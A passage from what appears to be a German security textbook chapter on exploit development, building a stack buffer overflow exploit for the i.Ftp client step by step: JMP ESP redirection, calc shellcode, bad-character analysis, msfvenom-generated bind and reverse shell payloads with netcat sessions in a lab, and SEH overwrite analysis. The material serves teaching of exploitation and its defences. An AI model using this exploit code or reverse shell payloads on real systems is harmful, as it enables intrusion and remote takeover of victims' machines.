Das nächste auszuführende Kommando ist die JMP ESP-Anweisung, die damit direkt an den Beginn des C-Blocks springt. Um die Methode zu testen, ersetzen Sie in Ihrem Python-Script die Sequenz BBBB durch die Adresse des JMP ESP-Kommandos. Beachten Sie bitte,
dass durch die Little-Endian-Byte-Orientierung die Adresse in umgekehrter Reihenfolge einzugeben ist. Die in unserem Fall ermittelte Adresse 0x75C0CF54 ist demzufolge in Reverse Byte Order als \x54\xCF\xC0\x75 einzugeben. Verwenden Sie hier die in Ihrer Umgebung ermittelte Adresse; warum Sie bei sich eine von unserer abweichende Adresse sehen, werden wir später in Kapitel 11, »Schutzmaßnahmen einsetzen«, bei der Analyse von ASLR behandeln. buf = "A" * 260 + "\x54\xcf\xc0\x75" + "C" * (700 - 260 -4)
Erzeugen Sie nun wieder eine neue Datei Schedule.xml. Im Debugger klicken Sie mit der Maus auf die Adresse des JMP ESP-Kommandos und drücken (F2). Damit wurde ein Breakpoint gesetzt, und das Programm sollte an dieser Stelle stoppen. Setzen Sie mit (F9) die weitere Ausführung des Programms fort. Nach etwa drei spannenden Sekunden Wartezeit stoppt der Debugger, und das Programm ist im Breakpoint gelandet.
Abbildung 10.12 Die Programmausführung stoppt im Breakpoint.
Durch Drücken von (F7) führen Sie mit einem Single Step das JMP ESP-Kommando aus, und die Codeausführung wird an der Stelle des ersten C am Stack fortgeführt. Der Hex-Wert zum ASCII-Zeichen C ist 0x43, was in Maschinensprache wiederum der Opcode für einen gültigen Assemblerbefehl (INC EBX) ist. INC EBX ist ein »harmloser«
Befehl, den Sie jederzeit ohne die Gefahr eines Absturzes ausführen können, da nur das EBX-Register jeweils um 1 erhöht wird. Sie können nun mittels (F7) die einzelnen INC EBX-Schritte ausführen. Gratuliere! Sie führen gerade Ihren ersten Shellcode aus.
Abbildung 10.13 Erste Codeausführung im C-Block
Das folgende Codebeispiel zeigt einen Shellcode, der den WindowsTaschenrechner startet (https://code.google.com/archive/p/w32-execcalc-shellcode/). Zur besseren Übersichtlichkeit werden vor dem Start des Calc-Shellcodes noch 16 NOPs (No-Operation-Kommandos) eingefügt. Damit ist der Teil des Exploits, der für den initialen Buffer Overflow bis hin zur Ausführung des ersten Kommandos verantwortlich ist, vom eigentlichen Shellcode getrennt. Fügen Sie nun den Code in das Python-Script ein, generieren Sie eine neue Datei Schedule.xml, und starten Sie die Anwendung im Debugger. CALC=(
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
NOPS = "\x90" * 16
buf = "A" * 260
+ "\x54\xcf\xc0\x75"
+ NOPS
+ CALC
+ "C" * (700 -260 -4 -len(NOPS) - len(CALC))
Listing 10.3 Die erste Version des i.Ftp-Explpoit-Codes
Der Single Step nach dem Breakpoint im JMP ESP-Kommando führt Sie zur ersten NOP-Operation. Sie sehen hier auch gut die inhaltliche Trennung, die durch den NOP-Block (NOP-Sled) eingefügt wurde.
Abbildung 10.14 16 NOPs vor dem Calc.exe-Shellcode
Führen Sie die Anwendung mittels (F9) fort. Anstatt der erhofften Ausführung des Windows-Taschenrechners wurde das Programm erneut mit einer Zugriffsverletzung abgebrochen (Access violation when reading [FFFFFFFF]). Was ist hier passiert? Lassen Sie uns die Situation analysieren. Im ersten Schritt überprüfen Sie, ob der Shellcode auch tatsächlich im Speicher liegt. Führen Sie diesen Vorgang Byte für Byte durch, und Sie werden feststellen, dass manche Bytes verändert wurden.
CALC=(
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
Sie sehen in Abbildung 10.15 die markierten Bereiche, die nicht dem injizierten Shellcode entsprechen. Die veränderten Bytes sind im Original-Shellcode fett markiert. Die vorliegende Problematik zählt zur Kategorie der Bad Characters. Die eingelesenen Daten wurden scheinbar von der Programmlogik verändert, bevor sie im Speicher landeten. Das Ergebnis können einerseits verbotene Zeichen sein, die nicht im Speicher ankommen, und andererseits Zeichen, die auf dem Weg in den Speicher verändert werden. Beides verhindert, dass der Shellcode ausführbar ist. Verantwortlich dafür sind meist String-Funktionen, die zum Beispiel Whitespaces entfernen, eine Konvertierung von Groß-/Kleinbuchstaben durchführen oder einfach Steuerzeichen filtern. Sie werden im nächsten Abschnitt einen Weg kennen lernen, um das Problem zu analysieren und auch zu umgehen.
Abbildung 10.15 Memory-Analyse des Calc-Shellcodes
10.4 Umgang mit Bad Characters Die einzige Methode, um alle Bad Characters zu ermitteln, ist, alle Zeichen einzeln zu testen. Dazu erstellen Sie sich ein Array, das alle möglichen Zeichen von 0x00 bis 0xff enthält. BADCHARS = (
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buf = "A" * 260
+ "\x54\xcf\xc0\x75"
+ NOPS
+ BADCHARS
+ "C" * (700 -260 -4 -len(NOPS) - len(BADCHARS))
Listing 10.4 Testarray zur Ermittlung der Bad Characters
Wenn Sie nun nach der Generierung der Datei Schedule.xml versuchen, den i.Ftp-Client im Debugger zu starten, werden Sie feststellen, dass die Anwendung nicht mehr abstürzt. Die Ursache dafür ist erneut die Bad-Character-Problematik. Bereits das erste Zeichen ist für das Verhalten verantwortlich. Das häufigste Bad Character ist das Byte 0x00. Das Nullbyte dient als Abschlusszeichen in der Darstellung von Strings in Programmiersprachen wie C oder C++. Dort erfolgt die Repräsentation eines Strings in Form eines Arrays von Characters, gefolgt von einem Nullbyte. Damit lässt sich
auch das Verhalten erklären. Der Input-String wird nicht in die Anwendung eingelesen, da das erste Zeichen bereits das String-Ende ist. Entfernen Sie nun 0x00 aus dem BADCHAR-Array, und wiederholen Sie den Test. Die Anwendung stürzt nun wieder wie erwartet ab. Abbildung 10.16 zeigt Ihnen den eingelesenen Test-String im Speicher. Sie finden die Bytes 0x01 bis 0x1F unverändert, 0x20 wird zu 0x00 geändert, 0x21 erscheint wieder unverändert, und danach folgen mehrere Nullbytes und erneut ein 0x20-Character.
Abbildung 10.16 Bad-Character-Analyse
Die erste Analyse liefert drei Bad Characters: 0x00, 0x20 und 0x22. Nach einigen (zeitaufwändigen) Tests konnte ein weiteres, spezielles Verhalten der Anwendung gefunden werden. Das Leerzeichen 0x20 wird beim ersten Auftreten im String zu einem 0x00-Byte verändert. Kommt 0x20 weitere Male vor, so wird das Zeichen unverändert übernommen. Das ist ein sehr spezielles Verhalten der Anwendung. Versuchen Sie den Test noch einmal mit dem folgenden Array. Beachten Sie dazu die ersten drei 0x20-Bytes zu Beginn des Arrays. # Bad Character: 0x00, 0x20, 0x22
BADCHARS = (
"\x20\x20\x20"
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x21\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
...
...
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
Listing 10.5 Das finale Bad-Character-Array
Abbildung 10.17 Das besondere Verhalten von 0x20
Sie sehen in Abbildung 10.17 die Umwandlung des ersten 0x20 auf 0x00, die weiteren 0x20 bleiben unverändert. Nach dem Motto »Jeder Nachteil hat auch einen Vorteil« werden wir uns dieses Verhalten zu Nutze machen und damit das Problem der fehlerhaften Ausführung des Calc-Shellcodes lösen. Der Shellcode enthält ein 0x20-Byte, das aufgrund des Verhaltens der Anwendung auf ein 0x00-Byte verändert wird. Dadurch entspricht der Code nicht mehr dem Original und stürzt ab. CALC=(
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
Nun ist etwas Kreativität gefragt. Nachdem nur das erste 0x20 auf 0x00 korrigiert wird und alle weiteren Vorkommnisse unverändert bleiben, müssen Sie vorab ein 0x20 verwenden (konsumieren). Die
Verwendung soll aber keinen Einfluss auf den Programmablauf haben. Was halten Sie von dem folgenden Kommando? ADD EAX, 0x20 (Opcode: 0x83, 0xC0, 0x20)
Damit würde der Inhalt des EAX-Registers um 0x20 erhöht werden. Durch dieses Spezialverhalten ändert sich das Kommando zu: ADD EAX, 0x00 (Opcode: 0x83, 0xC0, 0x00)
Dieses Kommando lässt den Inhalt von EAX unverändert und »konsumiert« das erste 0x20-Byte. EAX hatte beim Erreichen des Breakpoints in Abbildung 10.12 den Wert 0x00000000 und wird durch die Aktion nicht modifiziert. Damit bleibt aber das zweite 0x20-Byte im Calc-Shellcode unverändert. Fügen Sie nun diese drei zusätzlichen Bytes zu Beginn des Shellcodes ein, und testen Sie das Verhalten. CALC=(
"\x83\xc0\x20"
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
Listing 10.6 Der Calc-Shellcode mit dem konsumierten 0x20-Byte
Starten Sie nun die Anwendung im Debugger, und Sie sollten den in Abbildung 10.18 dargestellten Windows-Taschenrechner sehen.
Abbildung 10.18 Der Windows-Taschenrechner wird gestartet.
Sie führen nun den ersten »Custom«-Shellcode aus und haben für die Sicherheitslücke im i.Ftp-Client erfolgreich einen Exploit entwickelt. Der Exploit wäre allerdings für einen Angreifer (noch) nicht einsetzbar, denn er ist nicht reliable (robust). Sie können das einfach testen, indem Sie Ihre Windows-10-Testumgebung neu starten. Nach dem Reboot funktioniert der Exploit nicht mehr – das Programm stürzt wieder mit einer Access Violation ab. Was ist passiert? Die Ausführung des Exploits wurde durch einen Sicherheitsmechanismus von modernen Betriebssystemen verhindert. ASLR (Address Space Layout Randomization) ist seit Windows XP Service Pack 3 implementiert und randomisiert die Basisadressen der geladenen DLLs. Sie verwenden in Ihrem Code die statische Adresse eines JMP ESP-Kommandos in der Bibliothek SHELL32.dll. Die Adresse ist nur bis zum nächsten Reboot konstant.
Passen Sie zur Übung nun Ihren Exploit-Code an die veränderte JMP ESP-Adresse an. Damit funktioniert der Exploit wieder bis zum nächsten Reboot. Sie werden in Kapitel 12, »Schutzmaßnahmen umgehen«, Methoden kennen lernen, um diesen Schutzmechanismus des Betriebssystems zu umgehen.
10.5 Shellcode generieren Sie haben nun einen lauffähigen Exploit-Code entwickelt, der als »Shellcode« den Windows-Taschenrechner startet. In diesem Abschnitt werden Sie zwei Shellcode-Varianten kennen lernen, die Ihnen einen wirklichen Shell-Zugriff auf das System erlauben. Die Entwicklung von eigenem Shellcode ist eine Programmierkunst für sich und erfordert sehr gute Assembler-Kenntnisse; Sie werden hier das Metasploit Framework für die Generierung Ihres individuellen Shellcodes verwenden. 10.5.1 Bind Shellcode
Die Ausführung eines Bind Shellcodes öffnet auf dem Zielsystem einen konfigurierbaren TCP-Port und stellt Ihnen damit über das Netzwerk einen Remotezugang zur Verfügung. Das Metasploit Framework stellt neben zahlreichen fertigen Exploits auch einige praktische Tools zur Verfügung. Sie haben daraus früher bereits die beiden Scripts pattern_create.rb und pattern_offset.rb verwendet. Lassen Sie sich nun mit dem Kommando msfvenom auf Kali Linux einen Shellcode im Python-Format generieren. Der LHOST-Parameter gibt den Listener Port an. root@kali:~# msfvenom -p windows/shell_bind_tcp LPORT=8888 -f python
--platform windows -a x86
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
…
buf += "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
buf += "\x53\xff\xd5"
Listing 10.7 Der mit msfvenom generierte Bind Shellcode
Das Ergebnis ist ein 328 Byte großer Shellcode, der allerdings gleich in der ersten Zeile drei Nullbytes enthält. msfvenom ist in der Lage, einen von Bad-Character-Bytes freien Shellcode zu erzeugen, sofern die Anzahl der verbotenen Zeichen nicht allzu groß ist. Sollten Sie zum Beispiel 50 oder mehr Bad Characters ermittelt haben, so ist eine automatische Generierung von Shellcode kaum mehr möglich, und Sie müssen zu anderen Tricks greifen. Sie werden später in Abschnitt 12.7, »DEP Bypass mittels Return-to-libc«, eine Methode kennen lernen, mit der Sie jedes beliebige Zeichen zur Laufzeit erzeugen können. Rufen Sie nun msfvenom mit der zusätzlichen Option -b auf, und geben Sie die bekannten Bad Characters (0x00, 0x20, 0x22) an. root@kali:~# msfvenom -p windows/shell_bind_tcp LPORT=8888
-f python --platform windows -a x86 -b '\x00\x20\x22'
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of python file: 1710 bytes
buf = ""
buf += "\xb8\x97\x93\xe7\x5e\xda\xc5\xd9\x74\x24\xf4\x5b\x29"
buf += "\xc9\xb1\x53\x83\xc3\x04\x31\x43\x0e\x03\xd4\x9d\x05"
…
buf += "\x98\xa6\x31\x3a\x31\x6f\xa0\x7e\x5c\x90\x1f\xbc\x59"
buf += "\x13\x95\x3d\x9e\x0b\xdc\x38\xda\x8b\x0d\x31\x73\x7e"
buf += "\x31\xe6\x74\xab"
Listing 10.8 Erzeugung des Bind Shellcodes ohne Bad Characters
msfvenom hat einen neuen Shellcode generiert. Auf den ersten Blick
sind auch keine Bad Characters vorhanden. Der Shellcode ist etwas länger geworden (355 Bytes). msfvenom codiert zur Vermeidung von Bad Characters die einzelnen Zeichen und fügt zu Beginn die Decodierroutine an. Der verwendete Encoder/Decoder ist in diesem
Fall x86/shikata_ga_nai. Der erste Schritt bei der Ausführung des Shellcodes ist die Decodierung und damit die Herstellung des Originalcodes. Der generierte Shellcode sieht auch bei jedem Aufruf von msfvenom anders aus, der Encoder verwendet dazu teilweise zufällige Initialisierungswerte, um der Erkennung durch Antivirensoftware vorzubeugen. Fügen Sie den Code in Ihr Exploit-Script ein. Das Ergebnis sehen Sie in Abbildung 10.9. buf = ""
buf += "\xda\xd8\xbb\x74\xcb\xe7\xc2\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x53\x31\x5a\x17\x83\xc2\x04\x03\x2e\xd8\x05"
…
buf += "\xaf\x99\x7a\x9e\xaf\xe8\x7f\xda\x77\x01\xf2\x73\x12"
buf += "\x25\xa1\x74\x37"
SHELLCODE=buf
buf = "A" * 260
+ "\x54\xcf\x29\x75"
+ NOPS
+ SHELLCODE
+ "C" * (700 -260 -4 -len(NOPS) - len(SHELLCODE))
Listing 10.9 Der finale i.Ftp-Exploit-Code mit einem Bind Shellcode
Sie sehen in Abbildung 10.19 nach dem Start des i.Ftp-Clients die Reaktion der Windows Defender Firewall. Das Programm will nun auf Port 8888 einen TCP Listener starten. Durch Drücken von Allow access darf der Service gestartet werden.
Abbildung 10.19 Die Windows-Firewall erkennt den neuen Service.
Sie können den auf Port 8888 gestarteten TCP-Service auch auf dem Windows-System mit dem netstat-Kommando betrachten: C:\netstat -ant
Proto Local Address Foreign Address State TCP 0.0.0.0:8888 0.0.0.0:0 LISTENING
Offload State
InHost
Der Service dient nun als Backdoor auf dem Windows-10-System. Testen Sie jetzt die Funktion, indem Sie von Kali Linux eine Verbindung zu dem Windows-System auf Port 8888 herstellen. Ein sehr praktisches Tool für einfache Netzwerkverbindungen ist netcat, kurz nc. root@kali:# nc -nv 192.168.1.102 8888
(UNKNOWN) [192.168.1.102] 8888 (?) open
'\\vmware-host\Shared Folders\iftp\i.Ftp'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.
Microsoft Windows [Version 10.0.17134.472]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows>
Der Bind Shellcode ermöglicht den Zugriff über das Netzwerk auf das Windows-System. Sie können nun beliebige Kommandos im
Kontext des Users ausführen, der den i.Ftp-Client gestartet hat. Das Programm selbst ist eingefroren und nicht mehr bedienbar. Wenn Sie mit exit aus der Shell aussteigen, stürzt im Hintergrund auch der i.Ftp-Client ab, eine erneute Verbindung ist erst nach dem Neustart des Programms wieder möglich. Für einen potenziellen Angreifer ist eine Bind Shell kaum nutzbar, da einerseits der Benutzer durch die Windows Defender Firewall gewarnt wurde (Abbildung 10.19) und andererseits Windows-Client-Systeme im Normalfall nicht aus dem Internet erreichbar sind. Sie werden nun im nächsten Schritt eine andere Form des Shellcodes, eine Reverse Shell, kennen lernen, die eine Verbindung zu einem beliebigen System aufbaut. 10.5.2 Reverse Shellcode
Im Gegensatz zum Bind Shellcode baut eine Reverse Shell die Verbindung zu einem externen System auf. Auf dem ausführenden System werden keinerlei TCP-Listener-Services gestartet. Generieren Sie mittels msfvenom nun einen Reverse Shellcode, und geben Sie als Zielsystem die IP-Adresse ( LHOST) und einen beliebigen Port (LPORT) auf Ihrem Kali-Linux-System an. root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.117
LPORT=7777 -b '\x00\x20\x22' --platform windows --format python
Payload size: 351 bytes
Final size of python file: 1684 bytes
buf = ""
buf += "\xda\xc6\xd9\x74\x24\xf4\xba\x92\xfb\x63\x7e\x5b\x2b"
buf += "\xc9\xb1\x52\x31\x53\x17\x83\xc3\x04\x03\xc1\xe8\x81"
...
buf += "\x1f\x31\x4d\x64\x42\xc2\xb8\xab\x7b\x41\x48\x54\x78"
buf += "\x59\x39\x51\xc4\xdd\xd2\x2b\x55\x88\xd4\x98\x56\x99"
Um den Reverse Shellcode zu testen, müssen Sie noch das KaliLinux-System für den Empfang der Shell vorbereiten. Netcat kann auch im Servermodus betrieben werden. Mit dem Kommando nc -
lnvp 7777 starten Sie einen Netcat Listener, der am Port 7777 auf
eingehende Verbindungen hört. Nach dem Start des i.Ftp-Clients baut dieser nun eine Verbindung nach außen auf und »schickt« die Windows-Shell an das Kali-System. Die Windows Defender Firewall sieht den ausgehenden Datenverkehr als legitim an und setzt daher auch keine Warnung ab. root@kali:~# nc -lnvp 7777
listening on [any] 7777 ...
connect to [192.168.1.117] from (UNKNOWN) [192.168.1.102] 50095
'\\vmware-host\Shared Folders\iftp\i.Ftp'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.
Microsoft Windows [Version 10.0.17134.472]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows>
Aus Sicht eines Angreifers ist eine Reverse Shell wesentlich komfortabler als eine Bind Shell. Lokale Firewalls erlauben in der Standardkonfiguration meist ausgehende Verbindungen; eine Warnung des Benutzers bleibt aus, wie Sie in dem Beispiel schön sehen konnten. Auch die Verbindung in das Internet aus einem Netzwerk heraus ist oft ungehindert erlaubt. Diese Form des Zugriffs ist heutzutage auch die am häufigsten zu beobachtende Angriffsmethode. Das Opfer erhält per E‐Mail, USBStick oder über andere Medien Schadcode, der am lokalen PC ausgeführt wird. Der Angreifer sitzt irgendwo im Internet und wartet dort auf eingehende Verbindungen. Wird nun der Schadcode ausgeführt, so baut dieser aus dem Netzwerk heraus eine Verbindung zum Angreifer auf; dieser kann dann durch den in ausgehender Richtung aufgebauten Kanal in das Netzwerk Kommandos schicken. Damit haben Sie nun einen kompletten Durchlauf einer SoftwareExploitation, beginnend mit der Suche einer Schwachstelle über die
Entwicklung des Exploit-Codes für die Ausnutzung eines Buffer Overflows bis hin zur Schaffung eines externen Zugriffs über Bind bzw. Reverse Shellcodes kennen gelernt. Eine Einschränkung besitzt der aktuelle Exploit aber: Nach einem Reboot funktioniert der Code aufgrund von ASLR (Address Space Layout Randomization) nicht mehr. Die statisch eingetragene Adresse des JMP ESP-Kommandos verändert sich nach jedem Neustart. Bevor wir im nächsten Kapitel mögliche Schutzmechanismen gegen klassische Buffer Overflows behandeln werden, möchten wir Ihnen mit Structured Exception Handling Exploitation eine weitere Methode zur Ausnutzung von Buffer Overflows vorstellen.
10.6 Exception Handling ausnutzen Das Exception Handling behandelt Ausnahmen, die vom normalen Programmablauf nicht verarbeitet werden. Situationen wie zum Beispiel »kein freier Arbeitsspeicher« oder auch »kein freier Platz auf der Festplatte« werden damit geordnet abgehandelt. Die entsprechenden Strukturen für die Behandlung der Ausnahmen liegen am Stack und sind damit ebenso von Buffer Overflows betroffen. Im vorliegenden Abschnitt zeigen wir Ihnen mit der Manipulation des Structured Exception Handlers (SEH) einen Spezialfall, der ebenfalls zur Ausführung von Schadcode führen kann. Unter Exception Handling versteht man die geordnete Reaktion auf spezielle Situationen, die vom normalen Programmablauf nicht berücksichtigt werden. Denken Sie dabei an Ausnahmen wie: Division durch null während einer Berechnung kein freier Festplattenplatz während einer Schreiboperation kein freier Arbeitsspeicher während einer Leseoperation Speicherzugriff in einen verbotenen Speicherbereich (Access Violation) Werden diese Ausnahmen nicht korrekt behandelt, so führt das in den meisten Fällen zum Absturz des Programms. Das Exception Handling leitet nun den normalen Programmfluss im Ausnahmefall an einen speziellen Code, den Exception Handler, um. Eine typische Struktur in einem Programm mit aktiviertem Exception Handling ist ein try/catch-Block: try {
// Business Code
}
catch {
// Ausführung im Fall einer Ausnahme
}
Wird das Programm »normal«, d. h. ohne Ausnahme ausgeführt, so durchläuft der Programmablauf nur den try-Block. Tritt eine Ausnahme auf, so kommt der catch-Block unmittelbar zur Ausführung. Windows stellt einen Default Exception Handler bereit, der nur dann zur Ausführung kommt, wenn keiner der anderen Handler die Situation klären kann. Sie sehen, es kann mehrere Handler geben; kann ein Handler das Problem nicht lösen, so gibt er die Bearbeitung an den nächsten Handler weiter. Eine typische Meldung des Default Windows Exception Handlers sehen Sie in Abbildung 10.20.
Abbildung 10.20 Der Default Exception Handler wurde aktiviert.
Die technische Implementierung des SEH (Structured Exception Handling) erfolgt in Form einer einfach verketteten Liste von Objekten. Jedes Objekt enthält einen Zeiger auf das nächste Element (NEXT) in der Liste und einen weiteren Zeiger auf den jeweiligen Handler (HANDLER). Kann eine Exception vom aktuellen Exception Handler nicht gelöst werden, so erfolgt die Weitergabe an den
nächsten Handler in der Liste, bis schlussendlich der Default Exception Handler des Betriebssystems an der Reihe ist. Jeder Thread besitzt seine eigene SEH-Chain. Ein Feld im TEB (Thread Environment Block), eine Struktur mit Parametern des Threads, zeigt auf das erste Element in der Kette. Sie sehen den Aufbau einer typischen SEH-Chain in Abbildung 10.21.
Abbildung 10.21 Eine SEH-Chain
Das Betriebssystem durchwandert die Kette, bis ein geeigneter Handler für die Bearbeitung der Ausnahme gefunden ist. Das Ende der Kette ist mit 0xFFFFFFFF im Adressfeld des nächsten Elements gekennzeichnet.
10.7 Analyse unterschiedlicher Buffer-Längen Sie haben mittels Fuzzing einen Buffer Overflow des i.Ftp-Clients bei einer Länge von 700 Bytes festgestellt. Der Fuzzer hat die Länge des Test-Strings in Schritten von 100 Bytes erhöht. Lassen Sie uns nun das Verhalten bei unterschiedlichen Buffer-Längen analysieren. Die Frage stellt sich, ob Sie unterschiedliche Reaktionen der Anwendung durch Variation der Buffer-Länge erreichen können. Starten Sie die Analyse mit einer Buffer-Länge von 600 Bytes; diesen Wert haben wir durch Trial und Error ermittelt. Sie werden aber gleich sehen, warum das ein guter Startwert ist. buf = "A" * 600
Die Registerinhalte nach dem Absturz in Abbildung 10.22 entsprechen exakt der Situation bei 700 Bytes. EIP und EBP wurden mit 0x41414141 überschrieben, und sowohl ESP als auch EDI zeigen in den A-Bereich.
Abbildung 10.22 Registerinhalte nach dem Absturz
Sie sehen in Abbildung 10.23 den Grund für den Absturz (Access Violation); der Zugriff auf die Speicherstelle 0x41414141 ist nicht möglich, da der Bereich einen für das Programm ungültigen Speicherbereich darstellt. Aber genau diese Access Violation ist eine
Exception, die in weiterer Folge ein Exception Handler verarbeiten kann. Der Immunity Debugger stoppt zwischen dem Auftreten einer Exception und dem Aufruf des Exception Handlers. Sie können mittels (ª) + (F7)/(F8)/(F9) die Bearbeitung der Exception fortführen. Abbildung 10.23 Access Violation an der Adresse 0x41414141
Interessant ist auch die Situation am Stack. Scrollen Sie dazu an das Ende der 600 Bytes. Die nächsten beiden Stack-Einträge in Abbildung 10.24 stellen ein Objekt der SEH-Chain dar. Sie sehen an der Stack-Adresse 0x0019fca4 den Zeiger auf das nächste Element (0x0019fd00 = NEXT) und an der Adresse 0x0019fca8 den Zeiger auf den Handler des Objekts (0x00442f58 = HANDLER). Die 600 Bytes lassen die SEH-Struktur gerade noch unangetastet.
Abbildung 10.24 Die 600 Bytes gefolgt von einem SEH Record
Sie können die gesamte SEH-Chain im Immunity Debugger auch unter View • SEH chain bzw. durch Drücken von (Alt) + (S) betrachten.
Abbildung 10.25 Die SEH-Chain
Im nächsten Schritt erhöhen Sie die Buffer-Länge auf exakt 608 Bytes. Damit sollten die beiden Exception-Handler-Teile überschrieben sein. buf = "A" * 608
Sie sehen in Abbildung 10.26 die Auswirkung der zusätzlichen 8 Bytes; sowohl der NEXT- als auch der HANDLER-Eintrag wurde mit 0x41414141 überschrieben.
Abbildung 10.26 Das SEH-Objekt wurde überschrieben.
Die SEH-Chain ist durch das Überschreiben zerstört worden, die fiktive Folgeadresse (0x41414141) des nächsten Objekts ist ungültig (Abbildung 10.27)
Abbildung 10.27 Die überschriebene SEH-Chain
Führen Sie nun eine weitere Erhöhung der Buffer-Länge auf 1.200 Bytes durch:
buf = "A" * 1200
Die Anwendung stürzt wie erwartet mit einer Access Violation ab. Die Belegung der Register zum Zeitpunkt des Absturzes hat sich nicht weiter verändert, und die beiden SEH-Einträge (NEXT, HANDLER) wurden mit 0x41414141 überschrieben. Sie sehen in Abbildung 10.28 das SEH-Objekt gefolgt von den zusätzlichen 592 A.
Abbildung 10.28 Der Buffer wird weit über das SEH-Objekt hinaus überschrieben.
Lassen Sie uns noch einmal die unterschiedlichen Buffer-Längen in Abbildung 10.29 ansehen. Eine Länge zwischen 264 Bytes und 600 Bytes überschreibt nur den Instruction Pointer. Mit einer weiteren Vergrößerung können Sie dann auch eine SEH-Struktur überschreiben. Längen über 608 Bytes schaffen einen großen, freien Bereich, der direkt an das SEH-Objekt angrenzt.
Abbildung 10.29 Verschiedene Buffer-Längen
